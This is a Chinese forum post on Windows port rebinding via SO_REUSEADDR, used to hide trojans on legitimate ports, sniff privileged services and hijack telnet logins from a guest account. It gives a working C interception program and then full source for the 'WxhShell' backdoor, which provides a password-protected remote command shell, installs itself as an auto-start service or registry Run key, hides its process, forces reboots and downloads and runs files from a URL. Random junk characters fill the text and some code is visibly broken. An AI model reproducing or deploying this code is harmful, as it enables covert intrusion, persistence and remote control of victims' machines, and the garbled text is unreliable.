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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mk[d7Yt{O  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c~0VNuN  
R+ #.bQg  
  saddr.sin_family = AF_INET; @0/@p"j  
O w($\,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g1hg`qBBW  
&23ss/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); COkLn)+0  
( 7Ca\H3$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /k3n{ ?$/  
?^G$;X7B  
  这意味着什么?意味着可以进行如下的攻击:  a`h$lUb-  
_!CvtUU0Vv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qed!C  
o{-USUGj7  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [r/Seg"  
`aX}.{.!  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UQji7K }  
!g8.8(/t)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d'g{K]=tF  
0|DG\&?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D)/XP  
]uj.uWD  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Tm~#wL +r  
U*qK*"k  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ("P mB?20  
u UVV>An  
  #include k>z-Zg  
  #include "]\":T  
  #include whg4o|p  
  #include    bcx{_&1p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   EH!EyNNb  
  int main() = VX<eV  
  { @=zBF'<.9  
  WORD wVersionRequested; }~\].I6  
  DWORD ret; ;uA_gn!  
  WSADATA wsaData; 1Sc~Vb|>  
  BOOL val; `bt)'ERO%#  
  SOCKADDR_IN saddr; -Bwu$$0  
  SOCKADDR_IN scaddr; e,j? _p  
  int err; L&gEQDPgq|  
  SOCKET s; G/RheH G  
  SOCKET sc; <GFB'`L  
  int caddsize; KAZkVL  
  HANDLE mt; E6^S2J2  
  DWORD tid;   tgF(=a]o  
  wVersionRequested = MAKEWORD( 2, 2 ); _6ax{:/Q  
  err = WSAStartup( wVersionRequested, &wsaData ); yV]-Oa$*s0  
  if ( err != 0 ) { zC>(!fJqq  
  printf("error!WSAStartup failed!\n"); S,<.!v57  
  return -1; CK`3   
  } }yC,uEV  
  saddr.sin_family = AF_INET; ofrlTw&o  
   ;|$]Qq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )i6U$,]  
$b 71  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F0ivL`  
  saddr.sin_port = htons(23); k s`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CR<pB)F?a  
  { |s3HeY+Co  
  printf("error!socket failed!\n"); U+}9X^  
  return -1; sxQ,x/O  
  } *ej o6>  
  val = TRUE; v%8-Al^G  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;0X|*w1JO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `zsk*W1GA  
  { {^19.F  
  printf("error!setsockopt failed!\n"); kA :;c}p  
  return -1; L!8?2 \5  
  } Ew,wNR`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [,A'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .LTFa.jxA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hpi_0lMkI  
#pn AK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9 0if:mYA  
  { K'rs9v"K|  
  ret=GetLastError(); E~O>m8hF  
  printf("error!bind failed!\n"); )I UWM  
  return -1; .N><yQ-j3'  
  } +5}T!r  
  listen(s,2); |(w#NE5  
  while(1) E#V-F-@2  
  { FCB/FtI0  
  caddsize = sizeof(scaddr); <.%8j\j(  
  //接受连接请求 j 8AR#  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N{z(|2{A#  
  if(sc!=INVALID_SOCKET) P:h4  
  { ,'{B+CHoS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); te4"+[ $|  
  if(mt==NULL) >5},qs:lZ  
  { 3$G25=eN  
  printf("Thread Creat Failed!\n"); 2F@<{v4  
  break; )xy{[ K|M(  
  } 9l^  
  } M,U=zNPnk  
  CloseHandle(mt); L$?~TY  
  } Zu73x#pI  
  closesocket(s); 3bL2fsn5  
  WSACleanup(); W oG  
  return 0; Oy`\8*Uy__  
  }   =xWW+w!r  
  DWORD WINAPI ClientThread(LPVOID lpParam) dSD}NM  
  { @:&dOqQ  
  SOCKET ss = (SOCKET)lpParam; MJR\ g3  
  SOCKET sc; nPX'E`ut-V  
  unsigned char buf[4096]; [&k k  
  SOCKADDR_IN saddr; EBE>&{%$^  
  long num; ,^[37/S  
  DWORD val; 0$h$7'a  
  DWORD ret; 6]A\8Ty  
  //如果是隐藏端口应用的话,可以在此处加一些判断 lfhKZX  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DmA!+  
  saddr.sin_family = AF_INET; "1TM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qvE[_1QCc  
  saddr.sin_port = htons(23); ['`'&+x&!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;Wm)e~`,  
  { ,r,;2,;6nd  
  printf("error!socket failed!\n"); ;j\$[4W.i  
  return -1; ~(P\F&A(&  
  } >h-6B=  
  val = 100; Bq =](<>>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4~MUc!  
  { NW Qu-]P  
  ret = GetLastError(); UHszOl  
  return -1; _IGa8=~  
  } TK?N^ly  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {$=%5  
  { BqAwo  
  ret = GetLastError(); X"59`Yh  
  return -1; %31K*i/]  
  } ?O^:j!C6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qGUe0(  
  { <.XoC?j  
  printf("error!socket connect failed!\n"); ,(?4T~  
  closesocket(sc); RwHXn]1  
  closesocket(ss); Os]M$c_88  
  return -1; j~> #{"C  
  } qiJ;v1  
  while(1) 2*E<G|-F  
  { %cjav  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .f<,H+m^  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /P}tgcs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :iiTz$yk  
  num = recv(ss,buf,4096,0); bvvx(?!  
  if(num>0) p tfADG  
  send(sc,buf,num,0); itMc!bUQ  
  else if(num==0) G2k71{jK  
  break; 8j +;Xlh  
  num = recv(sc,buf,4096,0); 0n^j 50Yq  
  if(num>0) J=bOw//  
  send(ss,buf,num,0); dL"i\5#%A  
  else if(num==0) X2kLbe  
  break; }i~j"m  
  } 9jBr868  
  closesocket(ss); U^S:2  
  closesocket(sc); nrhpI d  
  return 0 ; 4tKf  
  } AMfu|%ZL  
hzVO.Q*  
} /FM#Xh  
========================================================== r{;4(3E2  
1#RA+d(  
下边附上一个代码,,WXhSHELL YH$`r6\S  
\dbtd hT;Z  
========================================================== g-uFss  
'm ((G4  
#include "stdafx.h" *Y?]="8c#;  
f 8U;T$)  
#include <stdio.h> j0M;2 3@[  
#include <string.h> YR#1[fe*_  
#include <windows.h> 0M.[) @  
#include <winsock2.h> P3>2=qK"E(  
#include <winsvc.h> 8\_,Y ji  
#include <urlmon.h> AG=1TZI"  
>qZRIDE5$  
#pragma comment (lib, "Ws2_32.lib") mJqP#Unik  
#pragma comment (lib, "urlmon.lib") =~*u(0sJa  
-p~B -,  
#define MAX_USER   100 // 最大客户端连接数 0nn# U  
#define BUF_SOCK   200 // sock buffer w-/Tb~#E  
#define KEY_BUFF   255 // 输入 buffer -OAH6U9^  
{$.{VE+v5  
#define REBOOT     0   // 重启 sNTfRPC  
#define SHUTDOWN   1   // 关机 Lj\<qF~n  
+fmZ&9hFNJ  
#define DEF_PORT   5000 // 监听端口 '1*MiFxKq  
Dne&YVF9V  
#define REG_LEN     16   // 注册表键长度 rbWFq|(_  
#define SVC_LEN     80   // NT服务名长度 !qq@F%tv  
1Pc'wfj  
// 从dll定义API 7%WI   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U:(t9NX b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ?+_"2XY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )E|Bb=%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h@8  
W`kgYGnFG  
// wxhshell配置信息 .!! yj,bQz  
struct WSCFG { sk/ Mh8z  
  int ws_port;         // 监听端口 bZJiubBRI  
  char ws_passstr[REG_LEN]; // 口令 dD!SgK[Jv  
  int ws_autoins;       // 安装标记, 1=yes 0=no N9Vcp~;  
  char ws_regname[REG_LEN]; // 注册表键名 A&#Bf#!G  
  char ws_svcname[REG_LEN]; // 服务名 }%|OnEk"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <9vkiEo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y3GIR f;>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !Zx>)V6.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u[@*}|uXM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %*hBrjbj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B dUyI_Ks:  
.d,Zx  
}; >n62csO  
p`0Tpgi  
// default Wxhshell configuration B7C6Mau  
struct WSCFG wscfg={DEF_PORT, co|0s+%PBq  
    "xuhuanlingzhe", }qg&2M%\  
    1, \zU R9h  
    "Wxhshell", Nq8A vBwo4  
    "Wxhshell", cQ%HwYn  
            "WxhShell Service", v4Gkf  
    "Wrsky Windows CmdShell Service", uR[i9%=8L(  
    "Please Input Your Password: ", R7>@-EG  
  1, ^ TS\x/P  
  "http://www.wrsky.com/wxhshell.exe", 9:>vl0  
  "Wxhshell.exe" yo=d"*E4^  
    }; mbK$Wp#  
%G*D0pE  
// 消息定义模块 qK pU.rP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oj,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $6[]c)(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X;0@41t'  
char *msg_ws_ext="\n\rExit."; /:)4tIV  
char *msg_ws_end="\n\rQuit."; *@Z'{V\  
char *msg_ws_boot="\n\rReboot..."; dEn hNPeRl  
char *msg_ws_poff="\n\rShutdown..."; *BV .zbGm  
char *msg_ws_down="\n\rSave to "; #;)7~69  
S3r\)5%;  
char *msg_ws_err="\n\rErr!"; s Y,3  
char *msg_ws_ok="\n\rOK!"; el<nY"c  
rkrt.B  
char ExeFile[MAX_PATH]; *9PQJeyR  
int nUser = 0; g$qh(Z_s  
HANDLE handles[MAX_USER]; -=Hr|AhE  
int OsIsNt; )/Vr 5b@  
a &j?"o  
SERVICE_STATUS       serviceStatus; 'AoH2 |  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ( KrIMZ  
~kga+H  
// 函数声明 = zSrre  
int Install(void); 9cQSS'`F  
int Uninstall(void); {rDZKy^f  
int DownloadFile(char *sURL, SOCKET wsh); uo^>95lkv  
int Boot(int flag); )_ y{^kn3^  
void HideProc(void); Vl%k:  
int GetOsVer(void); aap:~F{]X  
int Wxhshell(SOCKET wsl); i8]r }a  
void TalkWithClient(void *cs); !WmpnPr1  
int CmdShell(SOCKET sock); w@4+&v>O  
int StartFromService(void); @9L9c  
int StartWxhshell(LPSTR lpCmdLine); b< rM3P;  
\]D;HR`vo  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e-WaK0Ep  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )8_0d)  
7g$t$cZby,  
// 数据结构和表定义 QZY (S*Up  
SERVICE_TABLE_ENTRY DispatchTable[] = VmW_,  
{ b({2|R  
{wscfg.ws_svcname, NTServiceMain}, BdTj0{S1u  
{NULL, NULL} j8b:+io  
}; XpGom;z^c  
[O3R(`<e5  
// 自我安装 F^ f]*MhT"  
int Install(void) (0S"ZT  
{ lZ|Ao0(  
  char svExeFile[MAX_PATH]; &xVWN>bd^  
  HKEY key; <5.{+!BM  
  strcpy(svExeFile,ExeFile); W$&Q.Z  
6 B )   
// 如果是win9x系统,修改注册表设为自启动 ]PFc8qv{  
if(!OsIsNt) { fAK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?'%&2M zM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }5gQZ'ys'  
  RegCloseKey(key); )\e_I\-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9/{g%40B^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F-nt7l  
  RegCloseKey(key); /[IK [  
  return 0; P_;oSN|>  
    } LZeR .8XM>  
  } ;rFa I^  
} $KiA~l  
else { E-/]UH3u H  
;RrfE8mGj  
// 如果是NT以上系统,安装为系统服务 # a3Q<%V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H/b(dbs  
if (schSCManager!=0) yP@= x!$  
{ } E=mZZ)  
  SC_HANDLE schService = CreateService lIf Our  
  ( j6\{j#q  
  schSCManager, I%ez_VG  
  wscfg.ws_svcname, Lh+^GQ  
  wscfg.ws_svcdisp, BdceINI  
  SERVICE_ALL_ACCESS, ,Ya&M@^Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DN!EsQ6  
  SERVICE_AUTO_START, q/[)mr|~  
  SERVICE_ERROR_NORMAL, @cx!m   
  svExeFile, i55']7+0  
  NULL, eRf 8'-"#-  
  NULL,  j>6{PDaT  
  NULL, H;^6%HV1  
  NULL, mr*zl*  
  NULL \+,jM6l}-  
  ); BKIt,7j  
  if (schService!=0) v4&*iT  
  { 5W'T7asOh  
  CloseServiceHandle(schService); R_^:<F0  
  CloseServiceHandle(schSCManager); :( `Q4D~l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .{Xi&[jw  
  strcat(svExeFile,wscfg.ws_svcname); k~?@~xm,R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @a~K#Bvlm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h_cZ&P|  
  RegCloseKey(key); 0I.7I#'3O  
  return 0; Yrd K@I  
    } `pKQ|zGw  
  } 29E^]IL?  
  CloseServiceHandle(schSCManager); CV`  I.  
} { d/k0H  
} | o?@Eh  
/5o~$S  
return 1; ]!f=b\-Av  
} 3 -5^$-7_  
eVy,7goh  
// 自我卸载 9;@6iv  
int Uninstall(void) ut o4bs:  
{ Kp"o0fh<9  
  HKEY key; \Wo,^qR  
hWUZn``U$|  
if(!OsIsNt) { #bGt%*Re p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SDot0`s>  
  RegDeleteValue(key,wscfg.ws_regname); %9M_ * ]  
  RegCloseKey(key); p1Els /|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WUHijHo5(8  
  RegDeleteValue(key,wscfg.ws_regname); UE(%R1Py  
  RegCloseKey(key); 9@!`,Co  
  return 0; [1s B  
  } Y+D#Dv |  
} U?kJXM2  
} kefQH\<X  
else { ?&N JN/+%  
#vIF]Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); IQR?n}ce  
if (schSCManager!=0) wc ^z9y  
{ S3 &L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TEY%OI zU+  
  if (schService!=0) M*t{?o/t;  
  { RhYf+?2  
  if(DeleteService(schService)!=0) { nlJxF5/  
  CloseServiceHandle(schService); Fd3V5h  
  CloseServiceHandle(schSCManager); N5 g!,3  
  return 0; 0{ \AP<  
  } ba ,2.|  
  CloseServiceHandle(schService); @o_-UsUX  
  } R7vO,kZ6Q  
  CloseServiceHandle(schSCManager); )4DF9JpD  
} { c]y<q  
} H1N%uk=kV  
8)T.[AP  
return 1; ;Lz96R@}  
} @c5TSHSL.  
LA1UD+S  
// 从指定url下载文件 ^f@EDG8  
int DownloadFile(char *sURL, SOCKET wsh) o@"H3 gz  
{ G !wFG-Y}  
  HRESULT hr; X+iUT  
char seps[]= "/"; b^rPw@  
char *token; _%Jqyc"-  
char *file; 0p8(Q  
char myURL[MAX_PATH]; u3kZOsG  
char myFILE[MAX_PATH]; hv8V=Z'Q  
^xFZ;Yf  
strcpy(myURL,sURL); 8n NRn[oS  
  token=strtok(myURL,seps); W* N^Gp@  
  while(token!=NULL) =`u4xa#m  
  { 06L/i,  
    file=token; S)p1[&" M  
  token=strtok(NULL,seps); 3s"x{mtH  
  } A=Dzd/CUO  
HPT$)NeNc  
GetCurrentDirectory(MAX_PATH,myFILE); GXf"a3  
strcat(myFILE, "\\"); z^@98:x  
strcat(myFILE, file); c?IFI   
  send(wsh,myFILE,strlen(myFILE),0); v, 9MAZ,  
send(wsh,"...",3,0); F`+}p-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d'q,:="c  
  if(hr==S_OK) jgbE@IA@!'  
return 0; cjp H hoW  
else n-0RA~5z  
return 1; Q`'w)aV  
g"^<LX-  
} 6Xbo:#  
$SA8$!:  
// 系统电源模块 |cUTP!iy  
int Boot(int flag) N"@aisi)  
{ yMB*/vs  
  HANDLE hToken; xXQDHc -Ba  
  TOKEN_PRIVILEGES tkp; )BmK'H+l  
+<7`Gn(n3  
  if(OsIsNt) { |]*]k`o<)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gWL'Fl}H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $0=f9+@5  
    tkp.PrivilegeCount = 1; Z2!O)8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wgp{P>oBX  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9Eu.Y  
if(flag==REBOOT) { 5Ay\s:hb[u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4At{(fw W  
  return 0; |Q[[WHqj2f  
} t&*X~(Yb!  
else { \ ?sM  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~QQi{92  
  return 0; / p}^ Tpu  
} kzcl   
  } H}Z\r2  
  else { N D`?T &PK  
if(flag==REBOOT) { Y`.FSs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) L/t'|<m  
  return 0; iK%%  
} lpi^<LQ@l  
else { jv_z%`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -C1,$mkj  
  return 0; sT ]JDC6  
} { )=h  
} ^M_0M  
A 0~uv4MC  
return 1; g ]%sX6T  
} OTwIR<_B+  
C3>&O?7J*7  
// win9x进程隐藏模块 9=YX9nP  
void HideProc(void) lXso@TNrZ0  
{ V $Y=JK@  
rlV:% k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rY yB"|  
  if ( hKernel != NULL ) 41dB4Td5t  
  { ^/b3_aM5d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); '~{bq'7`m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M^S <G  
    FreeLibrary(hKernel); :rR)rj'  
  } v!~tX*q  
AYb-BaIc  
return; I5Vp%mCY  
} T8'm{[C  
WOkAma-  
// 获取操作系统版本 Pk)>@F<  
int GetOsVer(void) QPr29  
{ v{tw;Z#  
  OSVERSIONINFO winfo; {B|)!_M#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u2\QhP 9  
  GetVersionEx(&winfo); apy9B6%PJ+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j AXKp b  
  return 1; J;8M. _  
  else [C@ |q Ah  
  return 0; ;xqN#mqq  
} N5K\h}'%  
Z8 eB5!$  
// 客户端句柄模块 IPHZ~'M  
int Wxhshell(SOCKET wsl) ,y5,+:Y ~  
{ P-]u&m/6  
  SOCKET wsh; :yFUlO:  
  struct sockaddr_in client; -?%81 z.Qq  
  DWORD myID; L/*D5k%J  
=2J^ '7  
  while(nUser<MAX_USER) 7H=V|Btnc  
{ 9:9gam  
  int nSize=sizeof(client); 3:wN^!A}ve  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C6` Tck!  
  if(wsh==INVALID_SOCKET) return 1; V$o]}|  
k7ye,_&>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9^+8b9y  
if(handles[nUser]==0) <b>g^ `}?D  
  closesocket(wsh); + PAb+E|,  
else {#U 3A_y  
  nUser++; W!jg  
  } lf2Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <dd XvUCX  
fmgXh)=  
  return 0; ?q{HS&k  
} % H/V iC  
u7(<YSOs  
// 关闭 socket Gv\39+9 =  
void CloseIt(SOCKET wsh) i0q<,VSl$_  
{ lD9QS ;  
closesocket(wsh); 0Ba*"/U]t~  
nUser--; SB x<-^  
ExitThread(0); ks19e>'5Q  
} (pv6V2i  
}z,f8Yz  
// 客户端请求句柄 ,azBk`$iQr  
void TalkWithClient(void *cs) v{r,Wy3  
{ {J~VB~('  
OrP i ("/  
  SOCKET wsh=(SOCKET)cs; BWF>;*Xro  
  char pwd[SVC_LEN]; !FA[ ]d4  
  char cmd[KEY_BUFF]; -4Hf5!  
char chr[1]; ZVIlVuZ}  
int i,j; y?P4EVknM3  
>S}^0vNZX  
  while (nUser < MAX_USER) { +d!"Zy2|B  
&iI5^b-P  
if(wscfg.ws_passstr) { ssY5g !%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F<0GX!p4u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O_ 4 j"0  
  //ZeroMemory(pwd,KEY_BUFF); IRG-H!FV  
      i=0; A<p6]#t#X)  
  while(i<SVC_LEN) { qxbGUyH==  
T/$hN hQK  
  // 设置超时 FKWL{"y  
  fd_set FdRead; wN]]t~K)Q  
  struct timeval TimeOut; '5etZ!:  
  FD_ZERO(&FdRead); 1fMl8[!JLu  
  FD_SET(wsh,&FdRead); XMlcY;W  
  TimeOut.tv_sec=8; b|Sjh;  
  TimeOut.tv_usec=0; 3]rd!Gp=*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S;tv4JY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lvp8{]I<  
>Q#\X=a>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zvOSQxGQ  
  pwd=chr[0]; + 'V ,z  
  if(chr[0]==0xd || chr[0]==0xa) { HDHC9E6  
  pwd=0; Ihy76_OZ  
  break; ]k)h<)nY  
  } v43FU3  
  i++; (|dN6M-.K  
    } HDQH7Bs  
8i~n;AhDs  
  // 如果是非法用户,关闭 socket vYNu=vnM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |2!cPf^8  
} *\#?)q  
 WfH4*e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f#3!Q!C^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m {?uR.O  
U2CCjAgRs  
while(1) { yL #2|t(  
qr'P0+|~5  
  ZeroMemory(cmd,KEY_BUFF); v=J[p;H^H  
eh /QFm 4  
      // 自动支持客户端 telnet标准   M/evZ?uis  
  j=0; "JpnmE[`  
  while(j<KEY_BUFF) { e)#f`wM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NR.YeKsBq  
  cmd[j]=chr[0]; q[ 5&  
  if(chr[0]==0xa || chr[0]==0xd) { f9a_:]F  
  cmd[j]=0; chszP{-@X  
  break; bM>5=Zox  
  } T:0#se  
  j++; F.$NYr/|y  
    } }%Vx2Q  
RxUzJ  
  // 下载文件 Sp\ 7  
  if(strstr(cmd,"http://")) { {GhM,-%e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d: LP8  
  if(DownloadFile(cmd,wsh)) :<PwG]LO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eUEO~M2&U{  
  else !g7bkA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0oPcZ""X]  
  } V1 O]L66  
  else { U}:e-  
/2Qgg`^)  
    switch(cmd[0]) { Uu(FFd~3  
  "zx4k8  
  // 帮助 h ngdeGa  
  case '?': { 8omk4 ;  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &uLC{Ik}  
    break; dS)c~:&+  
  } K!qV82b='{  
  // 安装 ";*Iwd*V  
  case 'i': { aqoxj[V^3L  
    if(Install()) {hi'LA-4@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o06vC  
    else eG08Xt |lc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %dDwus  
    break; s\io9'Ec  
    } 57rH`UFXH  
  // 卸载 ]}A3Pm- t*  
  case 'r': { |P`:NAf2  
    if(Uninstall()) :M9 E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8j jq)d4#  
    else 97\9!)`,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f{ER]U  
    break; ZuVes?&j  
    } L%5g]=  
  // 显示 wxhshell 所在路径 }1? 2  
  case 'p': { /5r!Fhx  
    char svExeFile[MAX_PATH]; yQdoy^d/4  
    strcpy(svExeFile,"\n\r"); I1fUV72  
      strcat(svExeFile,ExeFile); =N<Z@'c  
        send(wsh,svExeFile,strlen(svExeFile),0); !fK9YW(Im  
    break; OE[N$,4I*  
    } 6+ C7vG`  
  // 重启 ~spfQV~  
  case 'b': { 'J(B{B7|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <p\iB'y  
    if(Boot(REBOOT)) 09w<@#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pHv~^L%=  
    else { sFa5#w*>  
    closesocket(wsh); $^louas&  
    ExitThread(0); +Q!  
    } 5~E'21hJ  
    break; &C6Z{.3V  
    } 6\GL|#G  
  // 关机 W>T6Wlxu`6  
  case 'd': { *WK0dn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pipqXe  
    if(Boot(SHUTDOWN)) $i.)1.x  
